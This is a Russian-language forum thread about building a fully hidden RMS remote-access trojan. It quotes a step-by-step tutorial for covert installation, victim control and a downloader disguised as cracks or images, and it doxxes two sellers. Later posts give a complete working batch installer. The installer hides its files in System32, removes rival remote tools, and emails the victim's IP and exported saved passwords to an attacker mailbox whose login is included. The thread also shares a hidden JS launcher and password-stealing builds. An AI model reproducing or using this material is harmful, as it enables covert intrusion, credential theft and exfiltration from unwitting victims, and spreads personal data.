RMS - полностью скрытая установка и управление.

Кто просматривает этот контент: "Тема" (Всего пользователей: 0; Гостей: 3)

NIN@

Уважаемый пользователь
Форумчанин
Регистрация
26.03.2014
Сообщения
387
Репутация
1 157
#1
Недавно у меня появилась навязчивая идея попробовать сделать свою сборку RMS с полностью скрытой установкой и дальнейшим скрытым управлением.
В инете много противоречивых отзывов по поводу этого - одни пишут о бессмысленности ввиду большого многообразия альтернативных методов (кейлогеров, стиллеров и т.д.), другие, наоборот, представляют данный метод, как отличный вариант скрытого удаленного многофункционального управления. Кто-то на этом зарабатывает, продавая сборки RMS. Между конкурентами даже разворачиваются разборки с последующей деанонимизацией. Так, например, предлагающий свои услуги здесь LiteDem0 оказался:
LiteDem0 | haveaccess.ru оф. селлер:
da58094adce3.jpg

75c1b762bd0f.jpg
Источник: ссылка.​
А vinject - автор этой темы:
Скрытый RMS [удаленное администрирование]

Всем доброго времени суток!


Сегодня мы с вами будем делать скрытую сборку Remote Manipulator System (аналог Radmin, Teamviewer)
Сразу предупреждаю, что собрать довольно сложно, особенно новичкам.

Видео-презентация как работает скрытый RMS:
Просмотр на YouTube


Я постараюсь объяснять все пошагово и доступным языком.
RMS (как и Radmin, TeamViewer и т.д.) выполняет одну и ту же функцию – удалённое администрирование (т.е. управление) компьютером

Что же умеет RMS?
Тут перечислены все его функции:
-Управление и наблюдение
-Файловый менеджер
-Текстовый чат
-Диспетчер задач
-Подключение посредством Internet-ID! (так же как у TeamViewer)
-Диспетчер устройств
-Подключение к командной строке
-Запись экрана по расписанию
-Простое текстовое сообщение
-Поддержка нескольких мониторов
-Удаленная установка
-Wake-On-Lan
-Удаленный реестр.
-Функция «Выполнить»
-Подключение к web-камере.
-Самоудаление
-Интеграция с фаерволлом

Начну с перечисления того, что собой представляет сборка:
1. Полностью скрытая установка (экран не моргает в отличии от Радмина)
2. После запуска установщик самоудаляется
3. Все файлы сборки скрыты/системны, жертве будет сложнее что-то заметить
4. Вам на почту дополнительно отправляется IP, но он нам не понадобится, скорее всего, так как мы будем использовать Internet-ID
5. Вес будет ~2,8мб
6. Данная сборка частично палится антивирусами (как сделать, что бы не палилась - пишите в контакты)

Итак, начнем собирать:

I. Настройка RMS сервера

Первым делом, скачиваем архив
Внимание! На архив стоит пароль

Пароль на архив:
-
Открываем папку R, запускаем файл server.exe, устанавливаем. По завершении установки, программа запустится сама:




05bc65b5760f.png

Перед нами появляется окошко Безопасности:
6f07ad809384.png

Нажимаем Сменить/Установить – вводим пароль, допустим 12345678rms
Переходим во вкладку Аутентификация, стоять должна галочка – Уровень 3
Далее, нажимаем ОК! Все, окошко исчезает.

Следующим шагом для нас будет настройка сервера
В правом нижнем углу кликаем правой кнопкой по синему значку
Настройка Internet-ID соединения
Нажимаем Получить новый ID, появляется что-то похожее:
fda616929695.png

Закрываем окошко.
Далее «Остановить RMS-сервер»

Следующим шагом для нас будет вторая часть настройки сервера:
открываем Пуск, Программы, Remote Manipulator System – Server, Settings for R-Server

Тут будет два шага, первый мы уже прошли («безопасность»).
2. Режим Запуска – Автоматический
3. Настройки, убрать все галочки, поставить только на "запретить закрытие RMS", также во вкладке Логирование галочка должна быть снята.
4. Лицензионный ключ – введите этот:
-

5. Закрываем Настройки

Открываем директорию, куда установился сервер, и выделяем следующие файлы:
1.png

Копируем, создаем где-нибудь папку, туда все вставляем.
Именно в этой папке у нас будет происходить все самое интересное, далее я эту папку буду называть “Новая Папка”

Продолжаем работать. Теперь нам надо экспортировать наши настройки с паролями и всеми настройками.

Для этого нам нужно сделать следующее:

Для ХР, WIN+R: regedit
Для 7, просто в строке «найти программы и файлы» вводим regedit, и Ок
Идем сюда: HKEY_LOCAL_MACHINE/SYSTEM/ далее экспортируем Remote Manipulator System
2.png

И указываем путь нашу созданную папку, (имя файлу задайте - sets) в которую мы копировали наши файлы сервера, вот что у Вас должно получиться:
3.png

Сам по себе файл sets.reg – это файл настроек, там хранятся все Ваши настройки, если Вы хотите что-то изменить, Вам нужно заменять только этот файл, проделав все предыдущие шаги.

II. Редактирование установщика

Ну вот, перешли к главной части.

Выделяем install.bat, правой кнопкой - изменить
(первая половина кода служит для того, чтоб на компе жертвы удалить ранее установленный Радмин, Rem_Cam, и если стоял ранее то и RMS, нам ведь не надо чтоб кто-то тоже имел доступ к компьютеру кроме нас).

Тут два простых шага:
1. Создаем почту на Яндексе(!):
2. Пожалуйста, здесь не тупите, чтоб не было потом вопросов!
Находим это почти в самом конце и редактируем вот это под себя:
4.png

###LOGIN### - это ТОЛЬКО логин, БЕЗ добавления @yandex.ru, ###PASSWORD### - 12345678, тут ясно -указываем свои данные с регистрации в Яндексе.
Закрываем, сохраняем.

Выделяем в Новой Папке файл setup.exe, правой кнопкой -открыть архив.
Выделяем все что есть в Новой Папке (кроме setup.exe разумеется) и перетягиваем в то открывшееся окошко. Успешно добавили файлы в архив.

В итоге у Вас должно выйти вот это:

5.png

Копируем куда-нибудь наш файл setup.exe.
Все остальное можете удалить из папки.

III. Завершение

Итак, открываем папку R, устанавливаем файл Viewer.exe, через него мы будем подключаться к «жертве» по Internet-ID.

Важно!
Если Вы собираетесь свою сборку кидать нескольким «жертвам» и сразу, то с Интернет-ИД будут проблемы, так как он присваивается одной сборке для одного компьютера.
Если Вы собираетесь распространять скрытый rms массово, то в таком случае нужно к каждой «жертве» подключаться по IP

Как я лично советую использовать данную сборку.
Вы кидаете её какой-нибудь одной жертве, она его устанавливает. Далее Вы можете по тому Internet-ID (который вы выше копировали) подключаться. Сделали всё что Вам нужно на компьютере жертвы и дальше удаляете сборку с компьютера жертвы
Для этого нужно:
Подключаетесь к жертве и выбираете подключение «Запуск программ»-Обзор - у жертвы заходите в директорию windows\system32 там находите файл de.exe, выбираете.(поставьте галочку «скрытый запуск»)

Файл de.exe входит в состав сборки. Это самоудаляющийся файл, который полностью удаляет с компа жертвы вашу сборку скрытого рмс

После запуска этого файла у жертвы лучше проверить удалилась ли сборка (для этого просто пытаемся подключиться снова), если не можем, это означает сборка успешно удалилась и мы можем использовать нашу сборку на другой жертве точно также как и на первой.
Это делается для того чтобы не было конфликтов между двумя компьютерами с одним Internet-ID.

Большим преимуществом данной сборки будет то что подключение будет стопроцентным! Даже если жертва имеет динамический IP (или за NAT'ом).

Также данная сборка интегрируется с фаерволом. В настройках можно включить экономию трафика, в этом случае все работать будет пошустрее и меньше трафика ест.
Еще не меньше порадовало наличие встроенного сканера серверов RMS. Если вы вдруг потеряли свою жертву с динамическим IP, Вы можете её легко найти, просканировав диапазон IP в котором она находится (например 92.72.0.0-92.72.255.255)

В общем – пробуйте, пишите отзывы, бросайте СПАСИБО


по желанию, создание даунлоадера

Что из себя, собственно, представляет данный даунлоадер и для чего он нужен?
Это .exe файл, который сразу после запуска самоудаляется, скачивает файл и устанавливает, после запуска самоудаляется, не оставив при этом никаких следов

Итак, начнем!

Все что нужно, находится в папке Downloader

Итак, нам нужна регистрация сервера на Яндексе.
У Вас уже должна быть почта на Яндексе, куда приходят IP. С этого аккаунта мы зарегистрируем наш сервер, куда будем заливать нашу сборку.

Для этого:
1. Зайдите на свой аккаунт на Яндексе
2. Переходим по ссылке http://narоd.yаndеx.ru/

3. Нажимаем «Создать сайт» (сайт нам не нужен, только файл-менеджер)
4. Когда наш сайт создан заходим в файл-менеджер, ****.narod2.yandex.ru/filemanager/
5. Выбираем «Загрузить файл», загружем нашу RMS сборку
6. После того как загрузится файл, там должна быть такая серенькая кнопочка «ссылка», нажимаем, копируем.

Допустим, у нас уже есть сервер на Яндексе, на котором лежит наш файл. Отлично, идем дальше.
Далее распаковываем наш скаченный архив, открываем папку link, файл winupd.bat – изменить.
###LINK### - адрес на файл
###DOWNLOADED'FILENAME### - название файла

Далее закрываем
Открываем Converter.exe из архива

Batch file: открываем наш батник - winupd.bat
Save us: оставляем как есть
Остальное ставим как на картинке, должно получится вот так:
Вкладка Options:
6.png


Во вкладке Include добавляем файл wget.exe
Вкладка Include:
7.png

Далее нажимаем Compile

Следующим шагом для нас будет помещение файла winupd.exe в оболочку, которая его будет дроппать и после этого самоудалятся.
Клик по файлу load.exe, открыть архив, перетягиваем файл winupd.exe в файл load.exe

Всё! Наш даунлоадер готов!

Для непалевности и удобства, можно впарить кому-то наш файл под видом кряка, патча, картинки и пр. (сразу говорю, невозможно создать установщик с расширением .jpg, .mp3, разве что перед этим покопавшись в реестре жертвы, ну это бред, лучше использовать СИ)

Все! Готово!

ВНИМАНИЕ! Добавил "Экспресс-сборку"! Я решил, что её пока-что смогут опробовать не все.
А остальное все по-прежнему..

Изменения в Express RMS:

- Упрощена настройка (логин и пароль вводите в текстовике)
- После перезагрузки повторно отправляет IP
- В установщике теперь всего 6 файлов:
- Установка проходит гораздо быстрее

Прошу не обращаться в личку с просьбой дать ключ на котором ограничения, по всем вопросам, а также Новым версиям сборок пишите мне на контакты (внизу)

не забудьте сказать СПАСИБО и рекомендуйте друзьям данный замечательный продукт!

Перезалитый архив



Просмотр на YouTube новой версии сборки


По любым вопросам/консультациям/обучению обращайтесь:
mail: vinject@gmail.com


skype: vinject
оказался:
Игорь Франк 24 года, Донецк, Украина


8.jpg

9.jpg
Источник: ссылка и ссылка 1.

Очень интересно узнать ваше мнение по поводу сборки скрытого RMS сервера, стоит ли вообще с этим затеваться, а, если да, то надеюсь обрести союзников в этом деле.
Честно признаться, сомневаюсь в своих силах, а вместе всегда легче добиться нужного результатаWinkSmile.

P.S. сам RMS можно бесплатно скачать здесь.
Комментарии по теме:смотрю в последнее время в теме стали появляться залётные гости,не желающие написать пару полезных постов на форуме и нацепить аватарку.Единственное,что они могут,это клянчить готовую беспалевную сборку.Никто из них даже мельком не просматривает содержимое темы.Так вот,на правах администратора заявляю,что личности без авки и с просьбами типа:"Скиньте мне сборку!","Как сделать беспалевную сборку RMS?","Соберите для меня за деньги..."—будут безжалостно баниться.Хотите готового...идите на х...в гугл.В теме принимаются вопросы технического характера по различным проблемам и траблам при создании своей сборки.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 727
Репутация
263
Jabber
Telegram
#2
Ну а вы с первой-то частью разобрались ?

Я в целом первую часть настройки понял, а со второй не понял что хочет сделать автор ?

Setup.exe это не что иное, как самораспоковывающийся архив (Помните мою тему про скрытие вируса в такой архив !Отдыхай!!! ), так вот я-бы немного переделал алгоритм сборки вируса (вторая часть), сделал-бы вот что:

1)Сделал-бы самораспоковывающийся архив винрарором (как в моей теме), но распаковывать в скрытом режиме, в текущую папку пользователя, либо в темп, почему лучше в текущую, потому-что у некоторых пользователей может-быть заблокирован доступ к системным папкам...

2)Далее после распаковки, запускаем наш батник автоматически, он-же всё и сделает, я код правда не смотрел батника, но думаю там всё есть...

Далее когда все завершилось, можно тем-же батником всё поудалять...Отдыхай!!!

Но это теория, будет время может распишу более подробно !WinkSmile
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 727
Репутация
263
Jabber
Telegram
#3
будет время может распишу более подробно !WinkSmile
Время появилось, разобрался и переделал сборку, итак:

1)Глянул батник, что-то не понравилось мне ничего, сделал по свойму, сейчас раскажу, вы-же подскажите если что упустил:

Во первых не все фалы копировались в %SYSTEMROOT%\System32\catroot3\, это я поправил + зачем-то удалялись из темпа, а потом запускались не из %SYSTEMROOT%\System32\catroot3\, а из темпа, в общем батник не рабочий там, это первое...

2)Убрал вообще удаление файлов из папки темп, зачем оно нужно + внесение в исключение файервола винды, оно это зачем тоже не понятно, хотя можно-было и оставить, но сами сделаете потом, если нужно...

3)Сделал в батнике отображение всех действий, это для отладки и что-бы видно-было что всё ОК !

4)Удалил параметр wait и непонятную мне команду: realip.exe > realip.txt
start /wait %temp%\mpr.exe /export - здесь удалил wait
Может оно и нужно, но что-то батник не отрабатывает...

В общем-то всё, батник отрабатывает нормально, единственное перед запуском проверяет и останавливает сервер, если он запущен, т.е. могут-быть ошибки, но у меня вроде отработал, нужно подождать там секунд десять...

Далее у автора, для скрытие батника и обхода АВ, создан специальный скрипт stop.js, с таким кодом:
CODE:
var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.Run("install.bat",0);
 
myActiveXObject = new ActiveXObject("Scripting.FileSystemObject");
file = myActiveXObject.GetFile("stop.js");
file.Delete();
Если не хотите, что-бы отображалось чёрное окошко, то удалите Pause в батнике и в самораспоковывающимся архиве запускайте этот скрипт вместо батника, вот и всё, после отработки должен появится значёк в трее...WinkSmile

Пароль:111

Открыть можно в винраре, или 7zip

Маил на яндексе:
botan.bot2015@yandex.ru
B12345678B

Кстати сделано не очень хорошо, я-бы в системную папку вообще ничего не копировал, т.к. стрёмно, лучше копировать куда-нить в другое место, но это кому нужно подкорректируйте сами...
 

Вложения

  • 6 МБ Просмотры: 392

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 727
Репутация
263
Jabber
Telegram
#4
непонятную мне команду: realip.exe > realip.txt
Похоже руки у меня заструганы не из того места !bam88 :Mem26:

Это-то как раз идёт получение нужных IP-адресов жертвы !Dmeh-Smeh-Smeh!!!

Вот эту строчку в батнике нужно вернуть:
CODE:
start %SYSTEMROOT%\System32\catroot3\mpr.exe /export
realip.exe > realip.txt
А realip.txt мы потом отсылаем к себе на почту...
Но вот у меня на виртуалке realip.exe не отрабатывает просто зависает и всё...:rasstroen:

В общем может у кого и заработает, так-то сам сервер запускается и на почту приходит письмо, но т.к. я удалил строчу realip.exe > realip.txt текстовый файл не сформируется и придёт письмо без айпишника, если айпишник нужен, то нужно подумать как его получить батником, т.к. программа realip.exe лично у меня почему-то не работает !My mind
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 727
Репутация
263
Jabber
Telegram
#5
то нужно подумать как его получить батником,
Придумал, вот готовый батник мой:


CODE:
@echo off
"%SYSTEMROOT%\System32\RManServer.exe" /stop
"%SYSTEMROOT%\System32\RManServer.exe" /silentuninstall
taskkill /f /im RManServer.exe
taskkill /f /im rutserv.exe
md "%SYSTEMROOT%\System32\catroot3"
attrib +s +h "%SYSTEMROOT%\System32\catroot3"
 
copy /y "de.exe" "%SYSTEMROOT%\System32\de.exe"
copy /y "dsfOggMux.dll" "%SYSTEMROOT%\System32\catroot3\dsfOggMux.dll"
copy /y "dsfTheoraEncoder.dll" "%SYSTEMROOT%\System32\catroot3\dsfTheoraEncoder.dll"
copy /y "dsfVorbisEncoder.dll" "%SYSTEMROOT%\System32\catroot3\dsfVorbisEncoder.dll"
copy /y "HookDrv.dll" "%SYSTEMROOT%\System32\catroot3\HookDrv.dll"
copy /y "Microsoft.VC80.CRT.manifest" "%SYSTEMROOT%\System32\catroot3\Microsoft.VC80.CRT.manifest"
copy /y "msvcp80.dll" "%SYSTEMROOT%\System32\catroot3\msvcp80.dll"
copy /y "msvcr80.dll" "%SYSTEMROOT%\System32\catroot3\msvcr80.dll"
copy /y "rfusclient.exe" "%SYSTEMROOT%\System32\catroot3\rfusclient.exe"
copy /y "PushSource.ax" "%SYSTEMROOT%\System32\catroot3\PushSource.ax"
copy /y "RIPCServer.dll" "%SYSTEMROOT%\System32\catroot3\RIPCServer.dll"
copy /y "rutserv.exe" "%SYSTEMROOT%\System32\catroot3\rutserv.exe"
copy /y "rversionlib.dll" "%SYSTEMROOT%\System32\catroot3\rversionlib.dll"
copy /y "RWLN.dll" "%SYSTEMROOT%\System32\catroot3\RWLN.dll"
copy /y "sets.reg" "%SYSTEMROOT%\System32\catroot3\sets.reg"
copy /y "mpr.exe" "%SYSTEMROOT%\System32\catroot3\mpr.exe"
copy /y "blat.exe" "%SYSTEMROOT%\System32\catroot3\blat.exe"
copy /y "realip.exe" "%SYSTEMROOT%\System32\catroot3\realip.exe"
 
 
net stop rserver3
taskkill /f /im rserver3.exe
taskkill /f /im r_server.exe
taskkill /f /im cam_server.exe
 
 
rmdir /s /q %windir%\system32\rserver30
rmdir /s /q %windir%\SysWOW64\rserver30
 
 
net stop Telnet
sc config tlntsvr start= disabled
net stop "Service Host Controller"
net user HelpAssistant /delete
schtasks /delete /tn security /f
 
 
cd %SYSTEMROOT%\System32\catroot3\
 
"%SYSTEMROOT%\System32\catroot3\rutserv.exe" /silentinstall
"%SYSTEMROOT%\System32\catroot3\rutserv.exe" /firewall
regedit /s sets.reg
"%SYSTEMROOT%\System32\catroot3\rutserv.exe" /start
 
 
start %SYSTEMROOT%\System32\catroot3\mpr.exe /export
 
ping -n 5 127.0.0.1 > nul
%SYSTEMROOT%\System32\catroot3\blat.exe -install -server smtp.yandex.ru -port 25 -f botan.bot2015@yandex.ru -u botan.bot2015 -pw B12345678B
%SYSTEMROOT%\System32\catroot3\blat.exe -to botan.bot2015@yandex.ru -subject "PERFECTLY! RMS Service (c) by Alex Hitch" -attachi "realip.txt" -body "Real Ip [pass]" -attach %temp%\*.mpf
 
 
pause

Получаем свой айпишник батником (вдруг кому нужно):
CODE:
@echo off
for /f "tokens=1* skip=7 delims=:" %%a in ('ipconfig') do (
set ip=%%b
goto end)
:end
echo IP адрес:%ip%
Айпишник будет в переменной %ip%, но если пользователь за натом, как там подцепляться не знаю !
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 727
Репутация
263
Jabber
Telegram
#6
И последнее...

Данная штука ещё для кучи стырит все ваши сохранённые пароли и пришлёт на мыло...

Так-что давайте запускайте на основной системе...big010101
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
3 002
Репутация
9 275
#7
На XP окошко консоли показало ошибки.Но сервер повис в трее (непонятно только работоспособен ли он).
Снимок.PNG
На виндовс 8.1 с такой же ошибкой не работает у меня.
Снимок1.PNG
Спасибо Олег за подробное разъяснение того видоса.Я как-то пробовал сделать этот РМС именно по нему.Но никакого результата не было.Установка шла скрыто,но в итоге все процессы исчезали автоматически и сервер был неработоспособен.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 727
Репутация
263
Jabber
Telegram
#8
На XP окошко консоли показало ошибки.Но сервер повис в трее (непонятно только работоспособен ли он).
Вот попробуй готовый + крадёт пароли, делает всё скрыто...

В конце будешь лицезреть азиаточку...

Все пароли придут на мыло которую я указал во втором посте...Отдыхай!!!

Пароль:222
 

Вложения

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 727
Репутация
263
Jabber
Telegram
#9
На виндовс 8.1 с такой же ошибкой не работает у меня.
Запрещён доступ к системной папке может-быть, это то о чём я говорил, в системную папку копировать вирусы вредно...

Но т.к. это пример я не стал переделывать, кому нужно переделайте сами...

Мой пример из поста #8 можно открыть любым архиватором и заменить файлы на свои, далее нужно править батник, что-бы файлы копировались в другое место, например в папку пользователя, верняк...
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
3 002
Репутация
9 275
#10
На экспихе вроде всё работает (отчёт смотрю появился на почте).А на 8.1 отказывается из-за неправильного пути.Азиаточка работает без нареканий)
Снимок.PNG
Написал,не видя поста выше.Понятно.Будем править батник.
 
Вверх